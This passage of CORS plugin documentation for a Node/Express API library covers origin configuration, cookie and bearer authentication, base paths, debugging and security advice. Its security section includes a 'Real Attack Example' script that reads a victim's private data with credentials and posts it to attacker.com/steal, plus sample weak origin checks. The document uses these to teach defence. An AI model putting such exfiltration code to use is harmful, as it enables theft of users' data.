|
-
process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : null
|
|
998
|
-
].filter(Boolean);
|
|
999
|
-
|
|
1000
|
-
return allowedOrigins.includes(origin);
|
|
1001
|
-
},
|
|
1002
|
-
credentials: true, // MUST be true for cookies
|
|
1003
|
-
allowedHeaders: [
|
|
1004
|
-
'Content-Type',
|
|
1005
|
-
'Authorization', // For Bearer tokens
|
|
1006
|
-
'X-CSRF-Token', // CSRF protection
|
|
1007
|
-
'X-Requested-With' // Ajax detection
|
|
1008
|
-
],
|
|
1009
|
-
exposedHeaders: [
|
|
1010
|
-
'X-Auth-Expired', // Tell client when to refresh
|
|
1011
|
-
'X-CSRF-Token', // New CSRF token
|
|
1012
|
-
'X-User-Role' // Client-side authorization
|
|
1013
|
-
],
|
|
1014
|
-
maxAge: 7200 // 2 hours - balance security and performance
|
|
1015
|
-
}
|
|
1016
|
-
});
|
|
1017
|
-
|
|
1018
|
-
// Cookie configuration (Express example)
|
|
1019
|
-
app.use(session({
|
|
1020
|
-
cookie: {
|
|
1021
|
-
sameSite: 'none', // Required for cross-origin
|
|
1022
|
-
secure: true, // Required with sameSite=none
|
|
1023
|
-
httpOnly: true, // Prevent JS access
|
|
1024
|
-
domain: '.example.com' // Share across subdomains
|
|
1025
|
-
}
|
|
1026
|
-
}));
|
|
1027
|
-
```
|
|
1028
|
-
|
|
1029
|
-
**Common Authentication Patterns:**
|
|
1030
|
-
|
|
1031
|
-
**Note:** These examples show CORS configuration patterns for different authentication methods. JWT generation itself is not part of this library - you'll use your own authentication service (Supabase, Auth0, Firebase Auth, etc.) or implement your own JWT generation.
|
|
1032
|
-
|
|
1033
|
-
1. **JWT with Cookies:**
|
|
1034
|
-
```javascript
|
|
1035
|
-
// Secure cookie-based JWT
|
|
1036
|
-
api.post('/auth/login', async (req, res) => {
|
|
1037
|
-
// generateJWT is YOUR function - implement using Supabase, Auth0, etc.
|
|
1038
|
-
const token = generateJWT(user);
|
|
1039
|
-
res.cookie('auth-token', token, {
|
|
1040
|
-
httpOnly: true,
|
|
1041
|
-
secure: true,
|
|
1042
|
-
sameSite: 'none',
|
|
1043
|
-
maxAge: 7 * 24 * 60 * 60 * 1000 // 7 days
|
|
1044
|
-
});
|
|
1045
|
-
});
|
|
1046
|
-
```
|
|
1047
|
-
|
|
1048
|
-
2. **Bearer Token Pattern (No CORS Credentials):**
|
|
1049
|
-
```javascript
|
|
1050
|
-
// When using Authorization header instead of cookies
|
|
1051
|
-
await api.use(CorsPlugin, {
|
|
1052
|
-
'rest-api-cors': {
|
|
1053
|
-
origin: '*', // Can use wildcard without credentials
|
|
1054
|
-
credentials: false, // No cookies needed
|
|
1055
|
-
allowedHeaders: ['Authorization', 'Content-Type']
|
|
1056
|
-
}
|
|
1057
|
-
});
|
|
1058
|
-
```
|
|
1059
|
-
|
|
1060
|
-
3. **Hybrid Approach:**
|
|
1061
|
-
```javascript
|
|
1062
|
-
// Support both cookies and bearer tokens
|
|
1063
|
-
api.addHook('transport:request', 'auth-detector', async ({ context, request }) => {
|
|
1064
|
-
if (request.headers.authorization) {
|
|
1065
|
-
// Bearer token auth - no CORS credentials needed
|
|
1066
|
-
context.authType = 'bearer';
|
|
1067
|
-
} else if (request.headers.cookie) {
|
|
1068
|
-
// Cookie auth - needs CORS credentials
|
|
1069
|
-
context.authType = 'cookie';
|
|
1070
|
-
}
|
|
1071
|
-
});
|
|
1072
|
-
```
|
|
1073
|
-
|
|
1074
|
-
### CORS with Base URL
|
|
1075
|
-
|
|
1076
|
-
The CORS plugin works seamlessly with Express base paths.
|
|
1077
|
-
|
|
1078
|
-
**What Base URL Means:**
|
|
1079
|
-
|
|
1080
|
-
A base URL (or base path) prefixes all your API routes. Instead of:
|
|
1081
|
-
- `/api/users`
|
|
1082
|
-
- `/api/products`
|
|
1083
|
-
|
|
1084
|
-
With base path `/v1`:
|
|
1085
|
-
- `/v1/api/users`
|
|
1086
|
-
- `/v1/api/products`
|
|
1087
|
-
|
|
1088
|
-
**Why Use Base URLs:**
|
|
1089
|
-
|
|
1090
|
-
1. **API Versioning:** `/v1`, `/v2` for different API versions
|
|
1091
|
-
2. **Proxy Configuration:** Nginx routes `/api` to your Node server
|
|
1092
|
-
3. **Microservices:** Different services on different paths
|
|
1093
|
-
4. **CDN/Load Balancer:** Route by path prefix
|
|
1094
|
-
|
|
1095
|
-
**How CORS Works with Base URLs:**
|
|
1096
|
-
|
|
1097
|
-
The CORS plugin automatically handles the base path. When you set a base path, CORS headers are applied to ALL routes under that path.
|
|
1098
|
-
|
|
1099
|
-
```javascript
|
|
1100
|
-
// Express with base path
|
|
1101
|
-
await api.use(ExpressPlugin, {
|
|
1102
|
-
app: express(),
|
|
1103
|
-
basePath: '/v1' // API served at /v1/api/*
|
|
1104
|
-
});
|
|
1105
|
-
|
|
1106
|
-
// CORS plugin handles the base path automatically
|
|
1107
|
-
await api.use(CorsPlugin, {
|
|
1108
|
-
'rest-api-cors': {
|
|
1109
|
-
origin: 'https://app.example.com'
|
|
1110
|
-
}
|
|
1111
|
-
});
|
|
1112
|
-
|
|
1113
|
-
// Client requests to /v1/api/articles will have proper CORS headers
|
|
1114
|
-
```
|
|
1115
|
-
|
|
1116
|
-
**What Happens Behind the Scenes:**
|
|
1117
|
-
|
|
1118
|
-
1. Express plugin registers routes with base path:
|
|
1119
|
-
- `/v1/api/countries`
|
|
1120
|
-
- `/v1/api/users`
|
|
1121
|
-
- etc.
|
|
1122
|
-
|
|
1123
|
-
2. CORS plugin registers OPTIONS handler for `/v1/*`
|
|
1124
|
-
|
|
1125
|
-
3. All requests under `/v1` get CORS headers
|
|
1126
|
-
|
|
1127
|
-
**Complete Example with Multiple APIs:**
|
|
1128
|
-
|
|
1129
|
-
```javascript
|
|
1130
|
-
// Serve multiple API versions on same server
|
|
1131
|
-
const app = express();
|
|
1132
|
-
|
|
1133
|
-
// API v1
|
|
1134
|
-
const apiV1 = new Api({ name: 'my-api-v1' });
|
|
1135
|
-
await apiV1.use(RestApiPlugin);
|
|
1136
|
-
await apiV1.use(ExpressPlugin, {
|
|
1137
|
-
app,
|
|
1138
|
-
basePath: '/v1'
|
|
1139
|
-
});
|
|
1140
|
-
await apiV1.use(CorsPlugin, {
|
|
1141
|
-
'rest-api-cors': {
|
|
1142
|
-
origin: ['https://app.example.com', 'https://legacy.example.com']
|
|
1143
|
-
}
|
|
1144
|
-
});
|
|
1145
|
-
|
|
1146
|
-
// API v2 with different CORS
|
|
1147
|
-
const apiV2 = new Api({ name: 'my-api-v2' });
|
|
1148
|
-
await apiV2.use(RestApiPlugin);
|
|
1149
|
-
await apiV2.use(ExpressPlugin, {
|
|
1150
|
-
app,
|
|
1151
|
-
basePath: '/v2'
|
|
1152
|
-
});
|
|
1153
|
-
await apiV2.use(CorsPlugin, {
|
|
1154
|
-
'rest-api-cors': {
|
|
1155
|
-
origin: 'https://app.example.com', // v2 doesn't support legacy
|
|
1156
|
-
allowedHeaders: ['Content-Type', 'Authorization']
|
|
1157
|
-
}
|
|
1158
|
-
});
|
|
1159
|
-
|
|
1160
|
-
// Mount both APIs
|
|
1161
|
-
apiV1.http.express.mount(app);
|
|
1162
|
-
apiV2.http.express.mount(app);
|
|
1163
|
-
|
|
1164
|
-
// Results:
|
|
1165
|
-
// GET /v1/api/users - CORS allows legacy.example.com
|
|
1166
|
-
// GET /v2/api/users - CORS blocks legacy.example.com
|
|
1167
|
-
```
|
|
1168
|
-
|
|
1169
|
-
**Important Notes:**
|
|
1170
|
-
|
|
1171
|
-
1. CORS applies to the entire base path, not individual routes
|
|
1172
|
-
2. You cannot have different CORS settings for routes under the same base path
|
|
1173
|
-
3. The base path is transparent to CORS origin checks
|
|
1174
|
-
4. Preflight OPTIONS requests work correctly with base paths
|
|
1175
|
-
|
|
1176
|
-
## Troubleshooting
|
|
1177
|
-
|
|
1178
|
-
### Common Issues and Solutions
|
|
1179
|
-
|
|
1180
|
-
| Issue | Cause | Solution |
|
|
1181
|
-
|-------|-------|----------|
|
|
1182
|
-
| "CORS header 'Access-Control-Allow-Origin' missing" | Origin not allowed | Check origin configuration, ensure it matches exactly |
|
|
1183
|
-
| "Credentials flag is true, but Access-Control-Allow-Credentials is not 'true'" | Credentials mismatch | Ensure `credentials: true` in config |
|
|
1184
|
-
| "Multiple CORS headers" | Multiple CORS middleware | Ensure CORS plugin is installed only once |
|
|
1185
|
-
| Preflight fails with 404 | OPTIONS route not registered | Check that CORS plugin is installed after transport plugin |
|
|
1186
|
-
| Wildcard origin with credentials | Security restriction | Use specific origins when `credentials: true` |
|
|
1187
|
-
|
|
1188
|
-
### Debug CORS Issues
|
|
1189
|
-
|
|
1190
|
-
Enable debug logging to troubleshoot:
|
|
1191
|
-
|
|
1192
|
-
```javascript
|
|
1193
|
-
const api = new Api({
|
|
1194
|
-
name: 'my-api',
|
|
1195
|
-
log: { level: 'debug' }
|
|
1196
|
-
});
|
|
1197
|
-
|
|
1198
|
-
// The CORS plugin will log:
|
|
1199
|
-
// - Preflight requests received
|
|
1200
|
-
// - Origin validation results
|
|
1201
|
-
// - Headers being set
|
|
1202
|
-
```
|
|
1203
|
-
|
|
1204
|
-
**Example Debug Output:**
|
|
1205
|
-
|
|
1206
|
-
```
|
|
1207
|
-
2024-01-15T10:23:45.123Z [DEBUG] [my-api:plugin:rest-api-cors] CORS OPTIONS request { origin: 'https://app.example.com' }
|
|
1208
|
-
2024-01-15T10:23:45.124Z [DEBUG] [my-api:plugin:rest-api-cors] CORS processing response {
|
|
1209
|
-
origin: 'https://app.example.com',
|
|
1210
|
-
method: 'POST',
|
|
1211
|
-
path: '/api/users'
|
|
1212
|
-
}
|
|
1213
|
-
2024-01-15T10:23:45.125Z [WARN] [my-api:plugin:rest-api-cors] CORS origin not allowed {
|
|
1214
|
-
origin: 'https://malicious-site.com',
|
|
1215
|
-
allowedOrigins: [ 'https://app.example.com', 'https://admin.example.com' ]
|
|
1216
|
-
}
|
|
1217
|
-
```
|
|
1218
|
-
|
|
1219
|
-
**What Each Log Means:**
|
|
1220
|
-
|
|
1221
|
-
1. **OPTIONS request log:**
|
|
1222
|
-
- Shows preflight requests as they arrive
|
|
1223
|
-
- Helps verify browser is sending correct preflight
|
|
1224
|
-
|
|
1225
|
-
2. **Processing response log:**
|
|
1226
|
-
- Shows CORS headers being added to regular requests
|
|
1227
|
-
- Confirms which origin is being processed
|
|
1228
|
-
|
|
1229
|
-
3. **Origin not allowed warning:**
|
|
1230
|
-
- Critical for security - shows blocked attempts
|
|
1231
|
-
- Lists what origins ARE allowed for debugging
|
|
1232
|
-
|
|
1233
|
-
**Debugging Specific Issues:**
|
|
1234
|
-
|
|
1235
|
-
```javascript
|
|
1236
|
-
// Add custom logging for deep debugging
|
|
1237
|
-
api.addHook('transport:response', 'cors-debug', { order: -999 },
|
|
1238
|
-
async ({ context }) => {
|
|
1239
|
-
const { request, response } = context.transport;
|
|
1240
|
-
console.log('CORS Debug:', {
|
|
1241
|
-
requestOrigin: request.headers.origin,
|
|
1242
|
-
responseHeaders: {
|
|
1243
|
-
'Access-Control-Allow-Origin': response.headers['Access-Control-Allow-Origin'],
|
|
1244
|
-
'Access-Control-Allow-Credentials': response.headers['Access-Control-Allow-Credentials']
|
|
1245
|
-
},
|
|
1246
|
-
allowed: !!response.headers['Access-Control-Allow-Origin']
|
|
1247
|
-
});
|
|
1248
|
-
}
|
|
1249
|
-
);
|
|
1250
|
-
```
|
|
1251
|
-
|
|
1252
|
-
### Testing CORS
|
|
1253
|
-
|
|
1254
|
-
**Understanding CORS Testing**
|
|
1255
|
-
|
|
1256
|
-
CORS is enforced by browsers, not servers. This creates interesting testing scenarios:
|
|
1257
|
-
- **cURL/Postman**: Requests always work (no CORS enforcement)
|
|
1258
|
-
- **Browser**: Requests blocked if CORS headers are wrong
|
|
1259
|
-
- **Server**: Always sends CORS headers, doesn't block requests
|
|
1260
|
-
|
|
1261
|
-
**What These Tests Check:**
|
|
1262
|
-
|
|
1263
|
-
1. **Server sends correct headers** (not whether requests are blocked)
|
|
1264
|
-
2. **Preflight responses** have right status codes
|
|
1265
|
-
3. **Dynamic origin validation** works correctly
|
|
1266
|
-
|
|
1267
|
-
**Testing Assumptions:**
|
|
1268
|
-
These examples assume:
|
|
1269
|
-
- API running on `http://localhost:3000`
|
|
1270
|
-
- Testing origin `https://example.com`
|
|
1271
|
-
- Default CORS configuration (allows all origins)
|
|
1272
|
-
|
|
1273
|
-
**Example using cURL:**
|
|
1274
|
-
|
|
1275
|
-
```bash
|
|
1276
|
-
# Test preflight request
|
|
1277
|
-
curl -X OPTIONS http://localhost:3000/api/articles \
|
|
1278
|
-
-H "Origin: https://example.com" \
|
|
1279
|
-
-H "Access-Control-Request-Method: POST" \
|
|
1280
|
-
-H "Access-Control-Request-Headers: Content-Type" \
|
|
1281
|
-
-v
|
|
1282
|
-
|
|
1283
|
-
# Test actual request
|
|
1284
|
-
curl -X GET http://localhost:3000/api/articles \
|
|
1285
|
-
-H "Origin: https://example.com" \
|
|
1286
|
-
-v
|
|
1287
|
-
```
|
|
1288
|
-
|
|
1289
|
-
**What to Look For in Preflight Response:**
|
|
1290
|
-
```
|
|
1291
|
-
< HTTP/1.1 204 No Content
|
|
1292
|
-
< Access-Control-Allow-Origin: https://example.com
|
|
1293
|
-
< Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
|
|
1294
|
-
< Access-Control-Allow-Headers: Content-Type, Authorization, ...
|
|
1295
|
-
< Access-Control-Max-Age: 86400
|
|
1296
|
-
< Access-Control-Allow-Credentials: true
|
|
1297
|
-
< Vary: Origin
|
|
1298
|
-
```
|
|
1299
|
-
|
|
1300
|
-
**What to Look For in Regular Response:**
|
|
1301
|
-
```
|
|
1302
|
-
< HTTP/1.1 200 OK
|
|
1303
|
-
< Access-Control-Allow-Origin: https://example.com
|
|
1304
|
-
< Access-Control-Allow-Credentials: true
|
|
1305
|
-
< Access-Control-Expose-Headers: X-Total-Count, X-Page-Count, Link
|
|
1306
|
-
< Vary: Origin
|
|
1307
|
-
< Content-Type: application/vnd.api+json
|
|
1308
|
-
```
|
|
1309
|
-
|
|
1310
|
-
**Important Testing Notes:**
|
|
1311
|
-
|
|
1312
|
-
1. **cURL Always Succeeds** - Even with wrong CORS headers:
|
|
1313
|
-
```bash
|
|
1314
|
-
# This works in cURL but fails in browser
|
|
1315
|
-
curl -X GET http://localhost:3000/api/articles \
|
|
1316
|
-
-H "Origin: https://blocked-site.com"
|
|
1317
|
-
```
|
|
1318
|
-
|
|
1319
|
-
2. **Browser Testing is Required** for real CORS validation:
|
|
1320
|
-
```javascript
|
|
1321
|
-
// In browser console (will fail if CORS is wrong)
|
|
1322
|
-
fetch('http://localhost:3000/api/articles')
|
|
1323
|
-
.then(r => r.json())
|
|
1324
|
-
.then(console.log)
|
|
1325
|
-
.catch(e => console.error('CORS Error:', e));
|
|
1326
|
-
```
|
|
1327
|
-
|
|
1328
|
-
3. **Credentials Make a Difference**:
|
|
1329
|
-
```bash
|
|
1330
|
-
# Without credentials (works with wildcard)
|
|
1331
|
-
curl -X OPTIONS http://localhost:3000/api/articles \
|
|
1332
|
-
-H "Origin: https://any-site.com" \
|
|
1333
|
-
-H "Access-Control-Request-Method: GET"
|
|
1334
|
-
|
|
1335
|
-
# With credentials (needs specific origin)
|
|
1336
|
-
curl -X OPTIONS http://localhost:3000/api/articles \
|
|
1337
|
-
-H "Origin: https://any-site.com" \
|
|
1338
|
-
-H "Access-Control-Request-Method: GET" \
|
|
1339
|
-
-H "Cookie: session=abc123"
|
|
1340
|
-
```
|
|
1341
|
-
|
|
1342
|
-
### Browser DevTools
|
|
1343
|
-
|
|
1344
|
-
In Chrome/Firefox DevTools:
|
|
1345
|
-
1. Network tab → Find the request
|
|
1346
|
-
2. Check Response Headers for CORS headers
|
|
1347
|
-
3. For failed requests, check Console for CORS errors
|
|
1348
|
-
|
|
1349
|
-
### Common CORS Headers Explained
|
|
1350
|
-
|
|
1351
|
-
**Understanding Each CORS Header in Detail**
|
|
1352
|
-
|
|
1353
|
-
#### Core CORS Headers
|
|
1354
|
-
|
|
1355
|
-
| Header | Purpose | Example |
|
|
1356
|
-
| `Access-Control-Allow-Origin` | **The Most Important Header** - Tells browser which origin can access the response | `https://app.example.com` or `*` |
|
|
1357
|
-
|
|
1358
|
-
**Deep Dive: Access-Control-Allow-Origin**
|
|
1359
|
-
- Single origin: `Access-Control-Allow-Origin: https://app.example.com`
|
|
1360
|
-
- Wildcard: `Access-Control-Allow-Origin: *` (not allowed with credentials)
|
|
1361
|
-
- Dynamic: Server echoes the request's Origin if allowed
|
|
1362
|
-
- Missing: Browser blocks the response
|
|
1363
|
-
|
|
1364
|
-
**Common Mistakes:**
|
|
1365
|
-
```javascript
|
|
1366
|
-
// WRONG - Multiple origins in header
|
|
1367
|
-
response.headers['Access-Control-Allow-Origin'] = 'https://a.com, https://b.com';
|
|
1368
|
-
|
|
1369
|
-
// RIGHT - Echo the allowed origin
|
|
1370
|
-
if (allowedOrigins.includes(request.headers.origin)) {
|
|
1371
|
-
response.headers['Access-Control-Allow-Origin'] = request.headers.origin;
|
|
1372
|
-
}
|
|
1373
|
-
```
|
|
1374
|
-
| `Access-Control-Allow-Credentials` | **Security Critical** - Allows browser to include cookies and auth headers | `true` |
|
|
1375
|
-
|
|
1376
|
-
**Deep Dive: Access-Control-Allow-Credentials**
|
|
1377
|
-
- Only valid value is `true` (or omit header)
|
|
1378
|
-
- Forces origin to be specific (no wildcard)
|
|
1379
|
-
- Required for:
|
|
1380
|
-
- Cookie-based sessions
|
|
1381
|
-
- HTTP authentication
|
|
1382
|
-
- Client certificates
|
|
1383
|
-
|
|
1384
|
-
**Security Impact:**
|
|
1385
|
-
```javascript
|
|
1386
|
-
// DANGEROUS - Never do this
|
|
1387
|
-
response.headers['Access-Control-Allow-Origin'] = '*';
|
|
1388
|
-
response.headers['Access-Control-Allow-Credentials'] = 'true';
|
|
1389
|
-
// Browsers will reject this combination
|
|
1390
|
-
|
|
1391
|
-
// SECURE - Specific origin with credentials
|
|
1392
|
-
response.headers['Access-Control-Allow-Origin'] = 'https://app.example.com';
|
|
1393
|
-
response.headers['Access-Control-Allow-Credentials'] = 'true';
|
|
1394
|
-
```
|
|
1395
|
-
| `Access-Control-Allow-Methods` | **Preflight Only** - Lists which HTTP methods are allowed | `GET, POST, PUT, DELETE, OPTIONS` |
|
|
1396
|
-
|
|
1397
|
-
**Deep Dive: Access-Control-Allow-Methods**
|
|
1398
|
-
- Only sent in preflight responses (OPTIONS)
|
|
1399
|
-
- Lists all methods the client can use
|
|
1400
|
-
- Case-sensitive (use uppercase)
|
|
1401
|
-
- Must include the requested method
|
|
1402
|
-
|
|
1403
|
-
**Example Scenarios:**
|
|
1404
|
-
```javascript
|
|
1405
|
-
// Read-only API
|
|
1406
|
-
headers['Access-Control-Allow-Methods'] = 'GET, OPTIONS';
|
|
1407
|
-
|
|
1408
|
-
// Full CRUD API
|
|
1409
|
-
headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, PATCH, DELETE, OPTIONS';
|
|
1410
|
-
|
|
1411
|
-
// Custom methods
|
|
1412
|
-
headers['Access-Control-Allow-Methods'] = 'GET, POST, PURGE, OPTIONS';
|
|
1413
|
-
```
|
|
1414
|
-
| `Access-Control-Allow-Headers` | **Preflight Only** - Lists headers the client can include | `Content-Type, Authorization, X-Requested-With` |
|
|
1415
|
-
|
|
1416
|
-
**Deep Dive: Access-Control-Allow-Headers**
|
|
1417
|
-
- Only in preflight responses
|
|
1418
|
-
- Must include all headers the client will send
|
|
1419
|
-
- Some headers are always allowed ("simple headers")
|
|
1420
|
-
- Case-insensitive
|
|
1421
|
-
|
|
1422
|
-
**Simple Headers (always allowed):**
|
|
1423
|
-
- `Accept`
|
|
1424
|
-
- `Accept-Language`
|
|
1425
|
-
- `Content-Language`
|
|
1426
|
-
- `Content-Type` (only for simple values)
|
|
1427
|
-
|
|
1428
|
-
**Headers That Need Permission:**
|
|
1429
|
-
```javascript
|
|
1430
|
-
// API using various auth methods
|
|
1431
|
-
headers['Access-Control-Allow-Headers'] = [
|
|
1432
|
-
'Authorization', // Bearer tokens
|
|
1433
|
-
'X-API-Key', // API keys
|
|
1434
|
-
'X-CSRF-Token', // CSRF protection
|
|
1435
|
-
'Content-Type', // For JSON payloads
|
|
1436
|
-
'X-Requested-With' // AJAX detection
|
|
1437
|
-
].join(', ');
|
|
1438
|
-
```
|
|
1439
|
-
| `Access-Control-Expose-Headers` | **Response Only** - Makes custom headers readable to JavaScript | `X-Total-Count, X-RateLimit-Remaining` |
|
|
1440
|
-
|
|
1441
|
-
**Deep Dive: Access-Control-Expose-Headers**
|
|
1442
|
-
- By default, JS can only read "simple response headers"
|
|
1443
|
-
- This header exposes additional headers
|
|
1444
|
-
- Only affects what JavaScript can read
|
|
1445
|
-
- The network tab shows all headers regardless
|
|
1446
|
-
|
|
1447
|
-
**Default Readable Headers:**
|
|
1448
|
-
- `Cache-Control`
|
|
1449
|
-
- `Content-Language`
|
|
1450
|
-
- `Content-Type`
|
|
1451
|
-
- `Expires`
|
|
1452
|
-
- `Last-Modified`
|
|
1453
|
-
- `Pragma`
|
|
1454
|
-
|
|
1455
|
-
**Common Custom Headers to Expose:**
|
|
1456
|
-
```javascript
|
|
1457
|
-
headers['Access-Control-Expose-Headers'] = [
|
|
1458
|
-
// Pagination
|
|
1459
|
-
'X-Total-Count',
|
|
1460
|
-
'X-Page-Count',
|
|
1461
|
-
'Link',
|
|
1462
|
-
|
|
1463
|
-
// Rate Limiting
|
|
1464
|
-
'X-RateLimit-Limit',
|
|
1465
|
-
'X-RateLimit-Remaining',
|
|
1466
|
-
'X-RateLimit-Reset',
|
|
1467
|
-
|
|
1468
|
-
// API Info
|
|
1469
|
-
'X-Response-Time',
|
|
1470
|
-
'X-Request-ID'
|
|
1471
|
-
].join(', ');
|
|
1472
|
-
```
|
|
1473
|
-
| `Access-Control-Max-Age` | **Performance** - How long browser can cache preflight | `86400` (24 hours) |
|
|
1474
|
-
|
|
1475
|
-
**Deep Dive: Access-Control-Max-Age**
|
|
1476
|
-
- Reduces preflight requests
|
|
1477
|
-
- Value in seconds
|
|
1478
|
-
- Browser maximum varies (Chrome: 2 hours, Firefox: 24 hours)
|
|
1479
|
-
- Set lower during development
|
|
1480
|
-
|
|
1481
|
-
**Optimization Strategies:**
|
|
1482
|
-
```javascript
|
|
1483
|
-
// Development - quick changes
|
|
1484
|
-
headers['Access-Control-Max-Age'] = '60'; // 1 minute
|
|
1485
|
-
|
|
1486
|
-
// Staging - moderate caching
|
|
1487
|
-
headers['Access-Control-Max-Age'] = '3600'; // 1 hour
|
|
1488
|
-
|
|
1489
|
-
// Production - maximum caching
|
|
1490
|
-
headers['Access-Control-Max-Age'] = '86400'; // 24 hours
|
|
1491
|
-
```
|
|
1492
|
-
| `Vary` | **Caching Hint** - Tells proxies/CDNs response varies by Origin | `Origin` |
|
|
1493
|
-
|
|
1494
|
-
**Deep Dive: Vary Header**
|
|
1495
|
-
- Critical for CDNs and proxies
|
|
1496
|
-
- Prevents wrong CORS headers being cached
|
|
1497
|
-
- Should always include `Origin` when CORS headers vary
|
|
1498
|
-
|
|
1499
|
-
**Why It Matters:**
|
|
1500
|
-
```javascript
|
|
1501
|
-
// Without Vary: Origin
|
|
1502
|
-
// 1. CDN caches response for https://a.com
|
|
1503
|
-
// 2. Request from https://b.com gets cached response
|
|
1504
|
-
// 3. Browser sees wrong Access-Control-Allow-Origin
|
|
1505
|
-
|
|
1506
|
-
// With Vary: Origin
|
|
1507
|
-
// CDN caches separate responses per origin
|
|
1508
|
-
response.headers['Vary'] = 'Origin';
|
|
1509
|
-
```
|
|
1510
|
-
|
|
1511
|
-
#### Additional CORS Headers
|
|
1512
|
-
|
|
1513
|
-
| Header | Purpose | When Used |
|
|
1514
|
-
|--------|---------|--------|
|
|
1515
|
-
| `Access-Control-Request-Method` | **Request** - Asks permission for HTTP method | Preflight requests |
|
|
1516
|
-
| `Access-Control-Request-Headers` | **Request** - Asks permission for headers | Preflight requests |
|
|
1517
|
-
| `Origin` | **Request** - Identifies requesting origin | All CORS requests |
|
|
1518
|
-
|
|
1519
|
-
**Preflight Request Flow:**
|
|
1520
|
-
```
|
|
1521
|
-
Browser → Server:
|
|
1522
|
-
OPTIONS /api/users
|
|
1523
|
-
Origin: https://app.example.com
|
|
1524
|
-
Access-Control-Request-Method: POST
|
|
1525
|
-
Access-Control-Request-Headers: Content-Type, X-API-Key
|
|
1526
|
-
|
|
1527
|
-
Server → Browser:
|
|
1528
|
-
204 No Content
|
|
1529
|
-
Access-Control-Allow-Origin: https://app.example.com
|
|
1530
|
-
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
|
|
1531
|
-
Access-Control-Allow-Headers: Content-Type, X-API-Key
|
|
1532
|
-
Access-Control-Max-Age: 86400
|
|
1533
|
-
```
|
|
1534
|
-
|
|
1535
|
-
## Security Considerations
|
|
1536
|
-
|
|
1537
|
-
CORS is a security feature, but misconfiguration can create vulnerabilities. Here's what you need to know:
|
|
1538
|
-
|
|
1539
|
-
### 1. Never Use Wildcard with Credentials
|
|
1540
|
-
|
|
1541
|
-
**The Rule:** When `credentials: true`, you MUST specify exact origins, never use `*`.
|
|
1542
|
-
|
|
1543
|
-
**Why This Matters:**
|
|
1544
|
-
```javascript
|
|
1545
|
-
// VULNERABLE - This configuration is dangerous
|
|
1546
|
-
await api.use(CorsPlugin, {
|
|
1547
|
-
'rest-api-cors': {
|
|
1548
|
-
origin: '*',
|
|
1549
|
-
credentials: true // Browser will reject this!
|
|
1550
|
-
}
|
|
1551
|
-
});
|
|
1552
|
-
```
|
|
1553
|
-
|
|
1554
|
-
**What Could Happen:**
|
|
1555
|
-
If browsers allowed this:
|
|
1556
|
-
1. Evil site `https://attacker.com` loads in user's browser
|
|
1557
|
-
2. User is logged into your API (has auth cookie)
|
|
1558
|
-
3. Evil site makes request to your API
|
|
1559
|
-
4. Browser would send user's cookies
|
|
1560
|
-
5. Attacker gets user's private data
|
|
1561
|
-
|
|
1562
|
-
**The Safe Way:**
|
|
1563
|
-
```javascript
|
|
1564
|
-
// SECURE - Explicit origins only
|
|
1565
|
-
await api.use(CorsPlugin, {
|
|
1566
|
-
'rest-api-cors': {
|
|
1567
|
-
origin: ['https://app.mycompany.com', 'https://admin.mycompany.com'],
|
|
1568
|
-
credentials: true
|
|
1569
|
-
}
|
|
1570
|
-
});
|
|
1571
|
-
```
|
|
1572
|
-
|
|
1573
|
-
**Real Attack Example:**
|
|
1574
|
-
```html
|
|
1575
|
-
<!-- On attacker.com -->
|
|
1576
|
-
<script>
|
|
1577
|
-
// If wildcard+credentials worked, this would steal user data
|
|
1578
|
-
fetch('https://api.yourcompany.com/user/private-data', {
|
|
1579
|
-
credentials: 'include' // Would send victim's cookies
|
|
1580
|
-
})
|
|
1581
|
-
.then(r => r.json())
|
|
1582
|
-
.then(data => {
|
|
1583
|
-
// Send stolen data to attacker
|
|
1584
|
-
fetch('https://attacker.com/steal', {
|
|
1585
|
-
method: 'POST',
|
|
1586
|
-
body: JSON.stringify(data)
|
|
1587
|
-
});
|
|
1588
|
-
});
|
|
1589
|
-
</script>
|
|
1590
|
-
```
|
|
1591
|
-
### 2. Validate Origins Against a Whitelist
|
|
1592
|
-
|
|
1593
|
-
**The Rule:** Never trust user input. Always validate origins against known good values.
|
|
1594
|
-
|
|
1595
|
-
**Why This Matters:**
|
|
1596
|
-
The `Origin` header comes from the browser, but:
|
|
1597
|
-
- Can be spoofed in non-browser requests
|
|
1598
|
-
- Might contain unexpected values
|
|
1599
|
-
- Could be used for reconnaissance
|
|
1600
|
-
|
|
1601
|
-
**Bad Example - Dangerous Pattern:**
|
|
1602
|
-
```javascript
|
|
1603
|
-
// NEVER DO THIS - Accepts any origin
|
|
1604
|
-
await api.use(CorsPlugin, {
|
|
1605
|
-
'rest-api-cors': {
|
|
1606
|
-
origin: (origin) => {
|
|
1607
|
-
return true; // Accepts everything!
|
|
1608
|
-
}
|
|
1609
|
-
}
|
|
1610
|
-
});
|
|
1611
|
-
|
|
1612
|
-
// ALSO BAD - Weak validation
|
|
1613
|
-
await api.use(CorsPlugin, {
|
|
1614
|
-
'rest-api-cors': {
|
|
1615
|
-
origin: (origin) => {
|
|
1616
|
-
return origin.includes('mycompany'); // subdomain.mycompany.evil.com would pass!
|
|
1617
|
-
}
|
|
1618
|
-
}
|
|
1619
|
-
});
|
|
1620
|
-
```
|
|
1621
|
-
|
|
1622
|
-
**Good Example - Secure Validation:**
|
|
1623
|
-
```javascript
|
|
1624
|
-
// SECURE - Whitelist approach
|
|
1625
|
-
const allowedOrigins = new Set([
|
|
1626
|
-
'https://app.mycompany.com',
|
|
1627
|
-
'https://admin.mycompany.com',
|
|
1628
|
-
'https://staging.mycompany.com'
|
|
1629
|
-
]);
|
|
1630
|
-
|
|
1631
|
-
await api.use(CorsPlugin, {
|
|
1632
|
-
'rest-api-cors': {
|
|
1633
|
-
origin: (origin) => {
|
|
1634
|
-
// Strict whitelist check
|
|
1635
|
-
if (allowedOrigins.has(origin)) {
|
|
1636
|
-
return true;
|
|
1637
|
-
}
|
|
1638
|
-
|
|
1639
|
-
// Log rejected attempts
|
|
1640
|
-
console.warn('CORS: Rejected origin:', origin);
|
|
1641
|
-
return false;
|
|
1642
|
-
}
|
|
1643
|
-
}
|
|
1644
|
-
});
|
|
1645
|
-
|
|
1646
|
-
// SECURE - Database-driven whitelist
|
|
1647
|
-
await api.use(CorsPlugin, {
|
|
1648
|
-
'rest-api-cors': {
|
|
1649
|
-
